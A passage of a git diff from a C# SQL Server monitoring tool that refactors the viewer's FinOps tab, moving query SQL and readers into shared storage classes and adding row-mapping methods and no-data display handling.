-    database_name,
-    SUM(delta_worker_time) / 1000.0 AS total_cpu_ms,
-    CAST(SUM(delta_worker_time) / 1000.0 / NULLIF(SUM(delta_execution_count), 0) AS DECIMAL(19,2)) AS avg_cpu_ms,
-    SUM(delta_logical_reads) AS total_reads,
-    CAST(SUM(delta_logical_reads) * 1.0 / NULLIF(SUM(delta_execution_count), 0) AS DECIMAL(19,0)) AS avg_reads,
-    SUM(delta_execution_count) AS executions,
-    LEFT(query_text, 200) AS query_preview,
-    query_text AS full_query_text,
-    MAX(query_plan_xml) AS query_plan_xml,
-    MAX(query_plan_gz) AS query_plan_gz
-FROM v_query_stats
-WHERE server_id = $1
-AND   collection_time >= $2
-AND   delta_worker_time IS NOT NULL
-AND   delta_worker_time > 0
-AND   {TimescaleSupport.IntervalHonestSourceFilter}
-GROUP BY
-    database_name,
-    sql_handle,
-    query_text
-ORDER BY SUM(delta_worker_time) DESC
-LIMIT $3";
+    /// <summary>The expensive-queries read's SQL; lives in <see cref="DarlingFinOpsOptimizationReader"/>.</summary>
+    public const string ExpensiveQueriesSql = DarlingFinOpsOptimizationReader.ExpensiveQueriesSql;
 
     public async Task<List<ExpensiveQueryRow>> GetExpensiveQueriesAsync(int serverId, int hoursBack = 24, int topN = 20, CancellationToken cancellationToken = default)
     {
@@ -619,123 +125,18 @@ that horizon so the query states the range it can actually answer. The UI labels
         var now = DateTime.UtcNow;
         var (cutoff, _) = RetentionTierRouter.ClampToTextHorizon(now, now.AddHours(-hoursBack));
 
-        await using var command = _dataSource.CreateCommand(ExpensiveQueriesSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
-
-        var items = new List<ExpensiveQueryRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new ExpensiveQueryRow
-            {
-                DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                TotalCpuMs = reader.IsDBNull(1) ? 0 : Convert.ToInt64(reader.GetValue(1)),
-                AvgCpuMsPerExec = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2)),
-                TotalReads = reader.IsDBNull(3) ? 0 : Convert.ToInt64(reader.GetValue(3)),
-                AvgReadsPerExec = reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
-                Executions = reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5)),
-                QueryPreview = reader.IsDBNull(6) ? "" : reader.GetString(6),
-                FullQueryText = reader.IsDBNull(7) ? "" : reader.GetString(7),
-                /* #2069: plans written since V54 ride as gzip bytes with the text column NULL —
-                   text-else-gz, same rule as every plan reader. */
-                QueryPlanXml = PayloadDimensions.ResolveContent(
-                    reader.IsDBNull(8) ? null : reader.GetString(8),
-                    reader.IsDBNull(9) ? null : reader.GetFieldValue<byte[]>(9))
-            });
-        }
-        return items;
+        var rows = await DarlingFinOpsOptimizationReader.GetExpensiveQueriesAsync(
+            _dataSource, serverId, cutoff, topN, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return rows.Select(ExpensiveQueryRow.From).ToList();
     }
 
-    /// <summary>
-    /// High-impact queries — 80/20 analysis across CPU/duration/reads/writes/memory/executions. Aggregates
-    /// to query_hash level in SQL (with correlated sample-text subqueries, as Lite does), then scores in C#
-    /// via <see cref="HighImpactScorer"/>. $1 server_id, $2 cutoff.
-    /// </summary>
-    public const string HighImpactQueriesSql = $@"
-SELECT
-    query_hash,
-    MIN(database_name) AS database_name,
-    SUM(delta_execution_count) AS total_executions,
-    SUM(delta_worker_time) / 1000.0 AS total_cpu_ms,
-    SUM(delta_elapsed_time) / 1000.0 AS total_duration_ms,
-    SUM(delta_logical_reads) AS total_reads,
-    SUM(delta_logical_writes) AS total_writes,
-    SUM(COALESCE(max_grant_kb, 0)) / 1024.0 AS total_memory_mb,
-    (SELECT LEFT(qs2.query_text, 200) FROM v_query_stats qs2
-     WHERE qs2.query_hash = qs.query_hash
-     AND qs2.server_id = $1
-     AND qs2.collection_time >= $2
-     AND qs2.query_text IS NOT NULL AND qs2.query_text != ''
-     ORDER BY qs2.delta_execution_count DESC NULLS LAST
-     LIMIT 1) AS sample_query_text,
-    (SELECT qs2.query_text FROM v_query_stats qs2
-     WHERE qs2.query_hash = qs.query_hash
-     AND qs2.server_id = $1
-     AND qs2.collection_time >= $2
-     AND qs2.query_text IS NOT NULL AND qs2.query_text != ''
-     ORDER BY qs2.delta_execution_count DESC NULLS LAST
-     LIMIT 1) AS full_query_text,
-    (SELECT qs2.query_plan_xml FROM v_query_stats qs2
-     WHERE qs2.query_hash = qs.query_hash
-     AND qs2.server_id = $1
-     AND qs2.collection_time >= $2
-     AND qs2.query_plan_xml IS NOT NULL AND qs2.query_plan_xml != ''
-     ORDER BY qs2.delta_execution_count DESC NULLS LAST
-     LIMIT 1) AS query_plan_xml,
-    (SELECT qs2.query_plan_gz FROM v_query_stats qs2
-     WHERE qs2.query_hash = qs.query_hash
-     AND qs2.server_id = $1
-     AND qs2.collection_time >= $2
-     AND qs2.query_plan_gz IS NOT NULL
-     ORDER BY qs2.delta_execution_count DESC NULLS LAST
-     LIMIT 1) AS query_plan_gz
-FROM v_query_stats AS qs
-WHERE server_id = $1
-AND   collection_time >= $2
-AND   query_hash IS NOT NULL AND query_hash != ''
-AND   delta_execution_count > 0
-AND   {TimescaleSupport.IntervalHonestSourceFilter}
-GROUP BY query_hash
-HAVING SUM(delta_execution_count) > 0
-ORDER BY SUM(delta_worker_time) DESC";
+    /// <summary>The high-impact read's SQL; lives in <see cref="DarlingFinOpsHighImpactReader"/>.</summary>
+    public const string HighImpactQueriesSql = DarlingFinOpsHighImpactReader.HighImpactQueriesSql;
 
     public async Task<List<HighImpactQueryRow>> GetHighImpactQueriesAsync(int serverId, int hoursBack = 24, CancellationToken cancellationToken = default)
     {
-        var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
-
-        await using var command = _dataSource.CreateCommand(HighImpactQueriesSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var allRows = new List<HighImpactQueryRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            allRows.Add(new HighImpactQueryRow
-            {
-                QueryHash = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                DatabaseName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                TotalExecutions = reader.IsDBNull(2) ? 0 : Convert.ToInt64(reader.GetValue(2)),
-                TotalCpuMs = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
-                TotalDurationMs = reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
-                TotalReads = reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5)),
-                TotalWrites = reader.IsDBNull(6) ? 0 : Convert.ToInt64(reader.GetValue(6)),
-                TotalMemoryMb = reader.IsDBNull(7) ? 0m : Convert.ToDecimal(reader.GetValue(7)),
-                SampleQueryText = reader.IsDBNull(8) ? "" : reader.GetString(8),
-                FullQueryText = reader.IsDBNull(9) ? "" : reader.GetString(9),
-                /* #2069: the two correlated subqueries may land on DIFFERENT sample rows (one
-                   pre-V54 text row, one post-V54 gz row); either is "a sample plan for the hash",
-                   and text-first keeps the free form when both exist. */
-                QueryPlanXml = PayloadDimensions.ResolveContent(
-                    reader.IsDBNull(10) ? null : reader.GetString(10),
-                    reader.IsDBNull(11) ? null : reader.GetFieldValue<byte[]>(11))
-            });
-        }
-
-        return HighImpactScorer.Score(allRows);
+        var rows = await DarlingFinOpsHighImpactReader.ReadAsync(
+            _dataSource, serverId, hoursBack, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return rows.Select(HighImpactQueryRow.From).ToList();
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs
index 37f4d62260..91d3d99c17 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs
@@ -11,20 +11,25 @@
 using System.Linq;
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
 /*
- * FinOps tab row models — a COPY of Lite's LocalDataService.FinOps.cs model layer for the copy-parity
- * program (copy-don't-promote: the Darling viewer owns its own copy; Lite/Dashboard are untouched).
- * Two deliberate deviations from Lite's models, both because the headless store lacks the source:
- *   (1) The per-server FinOps COST attribution (MonthlyCost / MonthlyCostShare / AnnualCost) is dropped
- *       everywhere — that budget lives in Lite/Dashboard's ServerConnection config, which the Postgres
- *       store has no equivalent of. The health score (pure CPU/memory/storage math) is kept.
+ * FinOps tab row models — the Darling viewer's own copy of Lite's LocalDataService.FinOps.cs model layer.
+ * "Copy, don't promote" is about Lite versus Darling: Lite and the Dashboard keep their own copy of these
+ * models, and inside Darling the pure compute (health score, cost math) is shared with the service through
+ * PerformanceMonitor.Darling.Storage.FinOps.
+ * Two deliberate deviations from Lite's models, both because the headless store sources the data differently:
+ *   (1) The per-server FinOps COST attribution (MonthlyCost / MonthlyCostShare / AnnualCost) is sourced from
+ *       the registry: the viewer reads servers.monthly_cost_usd (carried on the selected DarlingServer as
+ *       MonthlyCostUsd) and the loaders compute the shares from it; 0 hides the cost affordances. Lite and the
+ *       Dashboard take the budget from ServerConnection config instead.
  *   (2) ServerPropertyRow drops the fields the collected server_properties table doesn't carry
  *       (sqlserver_start_time / host_os_version / ag_replica_role — Lite got them from a LIVE query the
  *       headless viewer can't run). Everything the collector DOES persist is surfaced.
- * The pure scoring helpers (FinOpsHealthCalculator, HighImpactScorer) are copied verbatim.
+ * The health-score helper (FinOpsHealthCalculator) lives in PerformanceMonitor.Darling.Storage.FinOps; the
+ * high-impact scorer (HighImpactScorer) is copied verbatim from Lite and stays here with its row model.
  */
 
 /// <summary>7-day daily provisioning classification trend (Utilization sub-tab).</summary>
@@ -36,6 +41,17 @@ public sealed class ProvisioningTrendRow
     public decimal P95CpuPct { get; set; }
     public decimal MemoryRatio { get; set; }
     public string Status { get; set; } = "";
+
+    public static ProvisioningTrendRow From(ProvisioningTrendDto dto) => new()
+    {
+        Day = dto.Day,
+        AvgCpuPct = dto.AvgCpuPct,
+        MaxCpuPct = dto.MaxCpuPct,
+        P95CpuPct = dto.P95CpuPct,
+        MemoryRatio = dto.MemoryRatio,
+        Status = dto.Status
+    };
+
     public string DayDisplay => Day.ToString("ddd MM/dd");
     public string StatusDisplay => Status == ProvisioningVerdict.NotApplicable ? ProvisioningVerdict.NotApplicableLabel : Status.Replace("_", " ");
 }
@@ -52,6 +68,20 @@ public sealed class MemoryGrantEfficiencyRow
     public long TotalWaiters { get; set; }
     public long TimeoutErrors { get; set; }
     public long ForcedGrants { get; set; }
+
+    public static MemoryGrantEfficiencyRow From(MemoryGrantEfficiencyDto dto) => new()
+    {
+        Day = dto.Day,
+        AvgGrantedMb = dto.AvgGrantedMb,
+        AvgUsedMb = dto.AvgUsedMb,
+        EfficiencyPct = dto.EfficiencyPct,
+        PeakGrantedMb = dto.PeakGrantedMb,
+        TotalGrantees = dto.TotalGrantees,
+        TotalWaiters = dto.TotalWaiters,
+        TimeoutErrors = dto.TimeoutErrors,
+        ForcedGrants = dto.ForcedGrants
+    };
+
     public string DayDisplay => Day.ToString("ddd MM/dd");
     public decimal WastedMb => AvgGrantedMb - AvgUsedMb;
 }
@@ -67,6 +97,12 @@ public sealed class TopResourceConsumerRow
     public decimal PctIo { get; set; }
     public long TotalCpuTimeMs { get; set; }
     public decimal AvgIoMb { get; set; }
+
+    public static TopResourceConsumerRow From(PerformanceMonitor.Darling.Storage.FinOps.TopResourceConsumer d) => new()
+    {
+        DatabaseName = d.DatabaseName, CpuTimeMs = d.CpuTimeMs, ExecutionCount = d.ExecutionCount, IoTotalMb = d.IoTotalMb,
+        PctCpu = d.PctCpu, PctIo = d.PctIo, TotalCpuTimeMs = d.TotalCpuTimeMs, AvgIoMb = d.AvgIoMb
+    };
 }
 
 /// <summary>Per-database allocated vs used space for the Utilization size chart (with star-width bars).</summary>
@@ -135,6 +171,28 @@ public sealed class UtilizationEfficiencyRow
     public int EngineEdition { get; set; }
     public string ProvisioningStatus { get; set; } = "";
 
+    public static UtilizationEfficiencyRow From(UtilizationEfficiencyDto dto) => new()
+    {
+        AvgCpuPct = dto.AvgCpuPct,
+        MaxCpuPct = dto.MaxCpuPct,
+        P95CpuPct = dto.P95CpuPct,
+        CpuSamples = dto.CpuSamples,
+        TotalMemoryMb = dto.TotalMemoryMb,
+        TargetMemoryMb = dto.TargetMemoryMb,
+        PhysicalMemoryMb = dto.PhysicalMemoryMb,
+        BufferPoolMb = dto.BufferPoolMb,
+        MemoryRatio = dto.MemoryRatio,
+        ProvisioningStatus = dto.ProvisioningStatus,
+        MaxGrantWaiters = dto.MaxGrantWaiters,
+        GrantTimeouts = dto.GrantTimeouts,
+        ForcedGrants = dto.ForcedGrants,
+        GrantUtilizationPct = dto.GrantUtilizationPct,
+        MaxWorkersCount = dto.MaxWorkersCount,
+        CurrentWorkersCount = dto.CurrentWorkersCount,
+        CpuCount = dto.CpuCount,
+        EngineEdition = dto.EngineEdition
+    };
+
     /// <summary>
     /// False when the 24-hour window held no CPU sample at all. The row's <see cref="ProvisioningStatus"/> is then
     /// the empty no-verdict value, and <see cref="P95CpuPct"/> is a 0 that came from nothing rather than from a
@@ -143,14 +201,40 @@ public sealed class UtilizationEfficiencyRow
     /// </summary>
     public bool HasCpuSample => ProvisioningStatus.Length > 0;
 
+    /// <summary>The Avg CPU figure: a dash when the window held no CPU sample (<see cref="HasCpuSample"/> false), never the 0.00% that
+    /// came from nothing.</summary>
+    public string AvgCpuText => HasCpuSample ? $"{AvgCpuPct:N2}%" : "-";
+
+    /// <summary>The P95 CPU figure: a dash when the window held no CPU sample, never a 0.00%.</summary>
+    public string P95CpuText => HasCpuSample ? $"{P95CpuPct:N2}%" : "-";
+
+    /// <summary>The Max CPU figure: a dash when the window held no CPU sample, never a 0%.</summary>
+    public string MaxCpuText => HasCpuSample ? $"{MaxCpuPct}%" : "-";
+
+    /// <summary>False when the window held no CPU sample: the server is stale or its CPU collector is off, and its latest database
+    /// sizes may be days old, so the Allocated vs Used chart is hidden rather than shown as current.</summary>
+    public bool ShowsDatabaseSizeChart => HasCpuSample;
+
     // FinOps cost — proportional to the server's monthly budget (0 = hidden)
     public decimal MonthlyCost { get; set; }
-    public decimal AnnualCost => MonthlyCost * 12m;
+    public decimal AnnualCost => FinOpsCost.Annual(MonthlyCost);
 
     // Health score
     public decimal FreeSpacePct { get; set; }
     public int HealthScore { get; set; }
-    public string HealthScoreColor => FinOpsHealthCalculator.ScoreColor(HealthScore);
+
+    /// <summary>The badge color: the score's own, or gray when the window held no CPU sample and there is no score to color.</summary>
+    public string HealthScoreColor => HasCpuSample ? FinOpsHealthCalculator.ScoreColor(HealthScore) : FinOpsHealthCalculator.NoScoreColor;
+
+    /// <summary>The badge text: "Health: 87", or "Health: -" when the window held no CPU sample. Memory and storage alone can read a
+    /// perfect 100 beside a "No Data" card, so with no CPU sample there is no score, not a partial one.</summary>
+    public string HealthScoreText => HasCpuSample ? $"Health: {HealthScore}" : "Health: -";
+
+    /// <summary>The read-result form of these figures.</summary>
+    public UtilizationEfficiencyDto ToDto() => new(
+        AvgCpuPct, MaxCpuPct, P95CpuPct, CpuSamples, TotalMemoryMb, TargetMemoryMb, PhysicalMemoryMb, BufferPoolMb,
+        MemoryRatio, MaxGrantWaiters, GrantTimeouts, ForcedGrants, GrantUtilizationPct, MaxWorkersCount,
+        CurrentWorkersCount, CpuCount, EngineEdition, ProvisioningStatus);
 
     /// <summary>
     /// The health score for these figures: CPU p95, the buffer pool's share of physical memory, and free storage. The memory
@@ -161,10 +245,7 @@ public sealed class UtilizationEfficiencyRow
     /// </summary>
     public int ComputeHealthScore()
     {
-        var bpRatio = PhysicalMemoryMb > 0 ? (decimal)BufferPoolMb / PhysicalMemoryMb : 0m;
-        int? cpuScore = HasCpuSample ? FinOpsHealthCalculator.CpuScore(P95CpuPct) : null;
-        return FinOpsHealthCalculator.Overall(
-            cpuScore, FinOpsHealthCalculator.MemoryScore(bpRatio), FinOpsHealthCalculator.StorageScore(FreeSpacePct));
+        return FinOpsUtilizationFigures.HealthScore(HasCpuSample, P95CpuPct, PhysicalMemoryMb, BufferPoolMb, FreeSpacePct);
     }
 }
 
@@ -182,6 +263,13 @@ public sealed class DatabaseResourceUsageRow
     public long IoStallMs { get; set; }
     public decimal PctCpuShare { get; set; }
     public decimal PctIoShare { get; set; }
+
+    public static DatabaseResourceUsageRow From(PerformanceMonitor.Darling.Storage.FinOps.DatabaseResourceUsage d) => new()
+    {
+        DatabaseName = d.DatabaseName, CpuTimeMs = d.CpuTimeMs, LogicalReads = d.LogicalReads, PhysicalReads = d.PhysicalReads,
+        LogicalWrites = d.LogicalWrites, ExecutionCount = d.ExecutionCount, IoReadMb = d.IoReadMb, IoWriteMb = d.IoWriteMb,
+        IoStallMs = d.IoStallMs, PctCpuShare = d.PctCpuShare, PctIoShare = d.PctIoShare
+    };
 }
 
 /// <summary>Per-application connection counts plus collected per-app resource + session-status metrics (Application Connections sub-tab). Timestamps are localized in the read.</summary>
@@ -223,6 +311,20 @@ public sealed class ApplicationConnectionRow
     /// </summary>
     public ServerClock? Clock { get; set; }
 
+    /// <summary>Maps the Storage reader's naive-UTC record: the display times convert in the current display mode on <paramref name="clock"/>, and the UTC instants and the clock are kept.</summary>
+    public static ApplicationConnectionRow From(PerformanceMonitor.Darling.Storage.FinOps.ApplicationConnectionUsage d, ServerClock clock) => new()
+    {
+        ApplicationName = d.ApplicationName, AvgConnections = d.AvgConnections, MaxConnections = d.MaxConnections,
+        AvgRunning = d.AvgRunning, MaxRunning = d.MaxRunning, AvgSleeping = d.AvgSleeping, MaxSleeping = d.MaxSleeping,
+        AvgDormant = d.AvgDormant, MaxDormant = d.MaxDormant, AvgCpuTimeMs = d.AvgCpuTimeMs, MaxCpuTimeMs = d.MaxCpuTimeMs,
+        AvgReads = d.AvgReads, MaxReads = d.MaxReads, AvgWrites = d.AvgWrites, MaxWrites = d.MaxWrites,
+        AvgLogicalReads = d.AvgLogicalReads, MaxLogicalReads = d.MaxLogicalReads, SampleCount = d.SampleCount,
+        FirstSeenLocal = ViewerTimeHelper.ConvertToDisplay(d.FirstSeenUtc, ViewerTimeHelper.CurrentDisplayMode, clock),
+        LastSeenLocal = ViewerTimeHelper.ConvertToDisplay(d.LastSeenUtc, ViewerTimeHelper.CurrentDisplayMode, clock),
+        /* #4766: the UTC instants too, so the columns' text can name the offset in the repeated autumn hour. */
+        FirstSeenUtc = d.FirstSeenUtc, LastSeenUtc = d.LastSeenUtc, Clock = clock
+    };
+
     /// <summary>
     /// What the First Seen and Last Seen columns show (#4766): the instant in the display mode on the row's server's clock,
     /// with its UTC offset added in the repeated autumn hour
@@ -363,12 +465,41 @@ its input. */
     private int? _socketCount;
     private int? _coresPerSocket;
     private string? _hardwareUnavailableReason;
-    private bool HostHardware => ServerHardwareScope.HardwareIsTheHosts(EngineEdition);
+    
+    /// <summary>Builds the grid row from the Storage read; the display conversion (the row's own server clock) happens here.</summary>
+    public static ServerPropertyRow From(ServerInventoryDto dto, ServerClock clock) => new()
+    {
+        ServerId = dto.ServerId,
+        Clock = clock,
+        ServerName = dto.ServerName,
+        Edition = dto.Edition,
+        ProductVersion = dto.ProductVersion,
+        EngineEdition = dto.EngineEdition,
+        CpuCount = dto.CpuCount,
+        PhysicalMemoryMb = dto.PhysicalMemoryMb,
+        HardwareUnavailableReason = dto.HardwareUnavailableReason,
+        SocketCount = dto.SocketCount,
+        CoresPerSocket = dto.CoresPerSocket,
+        IsHadrEnabled = dto.IsHadrEnabled,
+        IsClustered = dto.IsClustered,
+        /* #2359: the CONFIG SNAPSHOT time, not a freshness heartbeat. */
+        InventoryAsOf = dto.InventoryAsOfUtc is DateTime asOf ? ViewerTimeHelper.ConvertToDisplay(asOf, ViewerTimeHelper.CurrentDisplayMode, clock) : null,
+        /* #4766: the UTC instants too, so the columns' text can name the offset in the repeated autumn hour. */
+        InventoryAsOfUtc = dto.InventoryAsOfUtc,
+        /* sqlserver_start_time is the server's LOCAL clock — shown as-is like Lite. */
+        SqlServerStartTime = dto.SqlServerStartTime,
+        HostOsVersion = dto.HostOsVersion,
+        AgReplicaRole = dto.AgReplicaRole,
+        IsEnabled = dto.IsEnabled,
+        MonthlyCost = dto.MonthlyCost,
+        LastCollected = dto.LastCollectedUtc is DateTime last ? ViewerTimeHelper.ConvertToDisplay(last, ViewerTimeHelper.CurrentDisplayMode, clock) : null,
+        LastCollectedUtc = dto.LastCollectedUtc
+    };
 
     public int? CpuCount { get => _cpuCount; set => _cpuCount = value ?? 0; }
-    public long? PhysicalMemoryMb { get => HostHardware ? null : _physicalMemoryMb; set => _physicalMemoryMb = value ?? 0L; }
-    public int? SocketCount { get => HostHardware ? null : _socketCount; set => _socketCount = value; }
-    public int? CoresPerSocket { get => HostHardware ? null : _coresPerSocket; set => _coresPerSocket = value; }
+    public long? PhysicalMemoryMb { get => FinOpsInventoryFigures.PhysicalMemoryMb(EngineEdition, _physicalMemoryMb); set => _physicalMemoryMb = value ?? 0L; }
+    public int? SocketCount { get => FinOpsInventoryFigures.SocketCount(EngineEdition, _socketCount); set => _socketCount = value; }
+    public int? CoresPerSocket { get => FinOpsInventoryFigures.CoresPerSocket(EngineEdition, _coresPerSocket); set => _coresPerSocket = value; }
     /// <summary>The server's LOCAL start clock (sys.dm_os_sys_info) — stored verbatim, shown as-is like Lite.</summary>
     public DateTime? SqlServerStartTime { get; set; }
     /// <summary>
@@ -460,13 +591,13 @@ its input. */
     public string? HardwareUnavailableReason
     {
         /* An Azure SQL Database's blank hardware cells say why, in the column that already carries a read's own reason. */
-        get => _hardwareUnavailableReason ?? (HostHardware ? ServerHardwareScope.InventoryHardwareNote : null);
+        get => FinOpsInventoryFigures.HardwareNote(EngineEdition, _hardwareUnavailableReason);
         set => _hardwareUnavailableReason = value;
     }
 
     /// <summary>Per-server FinOps budget (servers.monthly_cost_usd from darling.json); 0 hides the cost columns.</summary>
     public decimal MonthlyCost { get; set; }
-    public decimal AnnualCost => MonthlyCost * 12m;
+    public decimal AnnualCost => FinOpsCost.Annual(MonthlyCost);
 
     public string UptimeDisplay
     {
@@ -483,20 +614,15 @@ public string UptimeDisplay
     public string ProvisioningDisplay => ProvisioningStatus == ProvisioningVerdict.NotApplicable ? ProvisioningVerdict.NotApplicableLabel : ProvisioningStatus?.Replace("_", " ") ?? "";
 
     /// <summary>License-limit warning for Standard edition (CPU/RAM caps). Same math as Lite.</summary>
-    public string? LicenseWarning
-    {
-        get
-        {
-            if (!Edition.Contains("Standard", StringComparison.OrdinalIgnoreCase)) return null;
-            var warnings = new List<string>();
-            if (CpuCount > 24) warnings.Add($"CPU: {CpuCount} cores (Standard limited to 24)");
-            if (PhysicalMemoryMb > 131072) warnings.Add($"RAM: {PhysicalMemoryMb / 1024}GB (Standard limited to 128GB)");
-            return warnings.Count > 0 ? string.Join("; ", warnings) : null;
-        }
-    }
+    public string? LicenseWarning => FinOpsInventoryFigures.LicenseWarning(Edition, EngineEdition, _cpuCount, _physicalMemoryMb);
 
-    public int HealthScore { get; set; }
-    public string HealthScoreColor => FinOpsHealthCalculator.ScoreColor(HealthScore);
+    /// <summary>The Server Inventory health score, or null when the last 24 hours hold no CPU sample for the server: the grid shows a dash,
+    /// not a score built from the memory and storage defaults (<see cref="FinOpsUtilizationFigures.HealthScore(bool, decimal, int, int, decimal)"/>).</summary>
+    public int? HealthScore { get; set; }
+    public string HealthScoreColor => HealthScore is int score ? FinOpsHealthCalculator.ScoreColor(score) : FinOpsHealthCalculator.NoScoreColor;
+
+    /// <summary>The tooltip on the dash shown in place of a score; null when there is a score.</summary>
+    public string? HealthScoreNote => HealthScore.HasValue ? null : FinOpsHealthCalculator.NoInventoryScoreNote;
 }
 
 /// <summary>Per-database storage growth vs 7d/30d ago (Storage Growth parent grid).</summary>
@@ -512,6 +638,12 @@ public sealed class StorageGrowthRow
     public decimal? DailyGrowthRateMb { get; set; }
     public decimal? GrowthPct30d { get; set; }
 
+    /// <summary>The tooltip on a blank 7-day baseline cell (shown as n/a): no sample within a day of 7 days ago. Null when there is one.</summary>
+    public string? Size7dAgoNote => DarlingFinOpsStorageGrowthReader.NoBaselineNote(7, Size7dAgoMb);
+
+    /// <summary>The tooltip on a blank 30-day baseline cell (shown as n/a): no sample within a day of 30 days ago. Null when there is one.</summary>
+    public string? Size30dAgoNote => DarlingFinOpsStorageGrowthReader.NoBaselineNote(30, Size30dAgoMb);
+
     /// <summary>True when the database has the one row another database on an Azure SQL Database server gets: its
     /// size is data space only, and the log size is not reported. See <see cref="AzureSiblingDatabaseSize"/>.</summary>
     public bool HasSiblingRow { get; set; }
@@ -520,6 +652,20 @@ public sealed class StorageGrowthRow
     /// the size is data space only. See <see cref="HyperscaleLogSize"/>.</summary>
     public bool HasLogServiceFile { get; set; }
 
+    public static StorageGrowthRow From(PerformanceMonitor.Darling.Storage.FinOps.StorageGrowthDto d) => new()
+    {
+        DatabaseName = d.DatabaseName,
+        CurrentSizeMb = d.CurrentSizeMb,
+        Size7dAgoMb = d.Size7dAgoMb,
+        Size30dAgoMb = d.Size30dAgoMb,
+        Growth7dMb = d.Growth7dMb,
+        Growth30dMb = d.Growth30dMb,
+        DailyGrowthRateMb = d.DailyGrowthRateMb,
+        GrowthPct30d = d.GrowthPct30d,
+        HasSiblingRow = d.HasSiblingRow,
+        HasLogServiceFile = d.HasLogServiceFile
+    };
+
     /// <summary>What the grid's Note column says: the log is not in this size, and why. Null when it is.</summary>
     public string? Note => AzureSiblingDatabaseSize.StorageGrowthNote(HasLogServiceFile, HasSiblingRow);
 }
@@ -535,6 +681,15 @@ public sealed class IdleDatabaseRow
     public decimal TotalSizeMb { get; set; }
     public int FileCount { get; set; }
     public DateTime? LastExecutionTime { get; set; }
+
+    /// <summary>Maps the storage read's plain result onto the display row.</summary>
+    public static IdleDatabaseRow From(IdleDatabase d) => new()
+    {
+        DatabaseName = d.DatabaseName,
+        TotalSizeMb = d.TotalSizeMb,
+        FileCount = d.FileCount,
+        LastExecutionTime = d.LastExecutionTime
+    };
 }
 
 /// <summary>tempdb pressure metric current vs 24h peak (Optimization sub-tab).</summary>
@@ -544,6 +699,15 @@ public sealed class TempdbSummaryRow
     public decimal CurrentMb { get; set; }
     public decimal Peak24hMb { get; set; }
     public string Warning { get; set; } = "";
+
+    /// <summary>Maps the storage read's plain result onto the display row.</summary>
+    public static TempdbSummaryRow From(TempdbSummaryMetric d) => new()
+    {
+        Metric = d.Metric,
+        CurrentMb = d.CurrentMb,
+        Peak24hMb = d.Peak24hMb,
+        Warning = d.Warning
+    };
 }
 
 /// <summary>Wait time grouped by cost category (Optimization sub-tab).</summary>
@@ -558,6 +722,17 @@ public sealed class WaitCategorySummaryRow
 
     /// <summary>FinOps cost — proportional share of the window's budget by wait-time fraction (set by the loader).</summary>
     public decimal MonthlyCostShare { get; set; }
+
+    /// <summary>Maps the storage read's plain result onto the display row.</summary>
+    public static WaitCategorySummaryRow From(WaitCategorySummary d) => new()
+    {
+        Category = d.Category,
+        TotalWaitTimeMs = d.TotalWaitTimeMs,
+        WaitingTasks = d.WaitingTasks,
+        PctOfTotal = d.PctOfTotal,
+        TopWaitType = d.TopWaitType,
+        TopWaitTimeMs = d.TopWaitTimeMs
+    };
 }
 
 /// <summary>Top-20 query by total CPU (Optimization sub-tab).</summary>
@@ -578,52 +753,19 @@ public sealed class ExpensiveQueryRow
     /// <summary>The stored statement-level plan (query_stats.query_plan_xml, captured by Darling); opens in the Plan Viewer.</summary>
     public string? QueryPlanXml { get; set; }
     public bool HasQueryPlan => !string.IsNullOrEmpty(QueryPlanXml);
-}
-
-/// <summary>Pure health-score math (Utilization + Server Inventory). Copied verbatim from Lite.</summary>
-public static class FinOpsHealthCalculator
-{
-    public static int CpuScore(decimal p95Pct)
-    {
-        if (p95Pct <= 70) return (int)(100 - p95Pct * 50 / 70);
-        return (int)Math.Max(0, 50 - (p95Pct - 70) * 50 / 30);
-    }
-
-    public static int MemoryScore(decimal bufferPoolRatio)
-    {
-        if (bufferPoolRatio <= 0.30m) return 60;
-        if (bufferPoolRatio <= 0.85m) return 100;
-        if (bufferPoolRatio <= 0.95m) return (int)(100 - (bufferPoolRatio - 0.85m) * 800);
-        return (int)Math.Max(0, 20 - (bufferPoolRatio - 0.95m) * 400);
-    }
 
-    public static int StorageScore(decimal freeSpacePct)
+    /// <summary>Maps the storage read's plain result onto the display row.</summary>
+    public static ExpensiveQueryRow From(ExpensiveQuery d) => new()
     {
-        if (freeSpacePct >= 30) return 100;
-        if (freeSpacePct >= 10) return (int)(50 + (freeSpacePct - 10) * 2.5m);
